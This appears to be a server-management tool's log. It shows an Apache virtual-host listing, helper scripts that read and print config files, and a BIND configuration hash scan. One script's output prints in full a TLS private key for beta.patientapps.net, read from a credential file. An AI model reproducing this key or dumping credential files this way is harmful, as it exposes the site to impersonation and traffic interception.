         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-06 06:00:14: 

PUT: /tmp/pkp945944

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-06 06:00:14: 

chmod 755 /tmp/pkp945944; /tmp/pkp945944; rm /tmp/pkp945944

2026-04-06 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf	1621
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-04-06 06:00:14: 

PUT: /tmp/pkp966286

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-06 06:00:14: 

chmod 755 /tmp/pkp966286; /tmp/pkp966286; rm /tmp/pkp966286

2026-04-06 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8	5360
8e:fc:df:36:c8:86:af:90:d0:89:54:9a:f4:9e:8a:65

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBbeEV0VU7gqhE5Bbi9PiFR6jMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA2MDUwMTQxWhcNMjYwNzA1MDUwMTQwWjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAKnfz9dj5brx2kYvEmGeYnM5/wdVxxace5t8W4pSJ0LDMtK66JcC4L8Z
TiZ/yj+OEr1en7S/npf9vcqXzN9jShLJsuSIofv19qMI9NTRmInDsL1BpEzVdRay
bfiltfekjEP1UnhuiAGD6PrcCIFBd8ZXdeIIO/ymP+A4JgXeBSNhdDQovsSmuN4D
bpL7dUmVA1qZDnKVbznjtn/VCGtUui7ETJ0c+6i5IJ4ka6KeaRBPz5yhcZQJv2kL
AXcJ99I9jPtbtHMpCX49X8b7uo7wUUJ5uD9kBnpC+zUBQYDQa0st2LaS1AK9vDDm
GNrq4M4tEOELdSPR16doL32zviMHRmUCAwEAAaOCAiIwggIeMA4GA1UdDwEB/wQE
AwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBTlQJBquE96U81dTmvAM8Zot0GgBDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMB8GA1UdEQQYMBaCFGJldGEucGF0aWVudGFwcHMubmV0MBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMzYuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAlE5D
h/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGdYWCPZAAABAMARzBFAiAT
rSHnLWm0kAMUBH7iwqH11sN+b26Vj5YN8UOYqRakDwIhAK2kCtrlZqayE70/2s2w
m9yeIVbL4ioww7lWwnufQSYkAH4AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOA
nhgY6zoAAAGdYWCSdwAIAAAFAAYAD/YEAwBHMEUCIFZRGm6Vx9jYSy75D0eZWXDb
YYpN+4yGSvTA+514TH3/AiEAiXVLQNMeSpgRbGY9ULGZLMsALn8oumnzO1z68rB4
sYIwDQYJKoZIhvcNAQELBQADggEBABAYoDQCI+qzhVr0jcniNtxJF7wEGzlJzFd/
pLvFLGoVGUY4NdAimERWfo07xp/rYokh46Yk9GyV9NMx88j7Us9SU6mbCID9mUxT
ocTQTj9xAIoldPc5UvAo6D72Wg3S6lKyFrEOP5LT5NjRT6gI8h6xwNvOMNuRCK6i
UuD3z1OdUXghIyVWLSOagRMl9b4UOeAsGJVNY59tUZ5mzX7PlUXpWvPDhaIYRp4w
CgxlOvJ4KIE6gCNgMkeoMI0dXOMaoT+Q4lkWgPgD8yDT7CLpoiVxEPv13dl5muaf
h6+pdIGGh24fgr0oNx9Hs1o5k2PV7X8qT3BFpjspIX7xJGqRDWs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCp38/XY+W68dpG
LxJhnmJzOf8HVccWnHubfFuKUidCwzLSuuiXAuC/GU4mf8o/jhK9Xp+0v56X/b3K
l8zfY0oSybLkiKH79fajCPTU0ZiJw7C9QaRM1XUWsm34pbX3pIxD9VJ4bogBg+j6
3AiBQXfGV3XiCDv8pj/gOCYF3gUjYXQ0KL7EprjeA26S+3VJlQNamQ5ylW8547Z/
1QhrVLouxEydHPuouSCeJGuinmkQT8+coXGUCb9pCwF3CffSPYz7W7RzKQl+PV/G
+7qO8FFCebg/ZAZ6Qvs1AUGA0GtLLdi2ktQCvbww5hja6uDOLRDhC3Uj0denaC99
s74jB0ZlAgMBAAECggEAEynRl2Gdxw7v3zlXMFZUPTMeidQg5J7xiMhTcVFe5swA
yJSs7BWMh1z88SCQZHFhZtCCYWW5J+Sdi6Rqnba54qWzUyRLaxJDvlT30vxJYh0x
K8sjFEcuRsmz2I16b33gvu0xXlmlvnoEMdcu9G86FPtv1nhfAAY8hXhVaGsJQa+B
KaMMVCjLWhuOpWE5phIIJRyRPiDC3zlB7y6EQ/I4sUO2MIcYURrWKDsotMKIe4QA
sJ7g6P5FEnQUCHpVLFGSyc0McJFPpbCbL9EdZssLdGuE2LG0i5qrQ12kiSLYs+RC
oIkuPfBtz/oKeWxR3XRksp0lSuNMhpmPkqIdx8r8nwKBgQDXxeHW6wntYCntg2yA
t8k+nqh86nr6GntNUS0CkZs2vxRCzdPp7iSGyGC1qCbUbdfDEZ9o4GshPRjjSU9/
sXfQ08Xjmlpt6VdpR+nmCwT2UfWXm7DpE6tMUeh03STiPYeAJwAxm/8Y/QMV6pId
hBlV6/wAKHUb9ofSmidVRxqR5wKBgQDJi1azzJO732VUOLdwR67e9XPvaLhR7lrW
afNEqhQ2ghDuSmVnqkEnQlYx6OFMdasfMN9jmFVZ/uobqo/TwZe9zcIMdsymUNqk
7i0FkSj82sWELX0Q5sFd2SIp2x9xHMKCG7UYc2IbSnfm0sVvIyXaHvVLR17DBhJ0
q6wFWHAz0wKBgFfKmqXgQczESKrrwzToEkiZM0KIAPtL1QlTUvXtmnJ+8lZv+p3+
l/wDAV5ICWx7OMOUowB/9vayLjMj++WfpnlgAO8nOU3pF/itGtzPdPhnxn4mCaf7
qcHGvcb2x3AJytz4gVqt9vAK2buMEmFSAyDzgDfsPiHff8nPkNtgr83XAoGATPcE
Bidyp0UZSf9ater58bTkMCHaeZc/YzAUsT0N+P7Ufls0vFC9DsP7bJXVK8Cnt4KP
XFY5CeQZ/LS2thPw4Y+osd/QKRcpV+CImt6jO2REF0TTxNeKMk+QB1HhgO2Nrefs
0UiGx4s5nJESym0usEwwOi4oFuvDsoA4cdYjCvcCgYEAxKSV/YHcK7ToAs7si8TS
QQp8LYUzGa59dxn+vxEZlq/eDUP45SqKcHERB2YZcvB/l1M5pSUwrT6qVPonV//r
DmTr7w8QnK2/JJIbvysgeplfPZihv4z78igri/Z6gI//Ek9D7RcZEMQyGr4fFttT
vF0x57amgUw4mRDIW0ih9Jw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-06 12:09:23: Establishing a connection
2026-04-06 12:09:34: Establishing a connection
2026-04-06 12:09:34: 

PUT: /tmp/pkp682593

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-06 12:09:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp682593; rm /tmp/pkp682593'

2026-04-06 12:09:35: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
